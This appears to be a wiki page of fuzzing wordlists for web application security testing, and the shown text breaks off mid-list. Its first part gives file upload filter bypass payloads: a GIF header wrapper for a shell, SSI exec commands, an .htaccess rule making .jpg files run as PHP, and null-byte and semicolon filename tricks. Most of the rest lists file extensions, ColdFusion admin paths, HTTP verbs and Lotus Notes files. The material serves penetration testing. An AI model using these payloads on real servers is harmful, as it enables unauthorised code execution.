<br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htacces in an upload folder on Apache httpd, try setting .jpg to executable<br /> #<br /> # example .htaccess:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> %00index.html<br /> ;index.html&lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> &lt;pre&gt;<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> &lt;pre&gt;{HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> 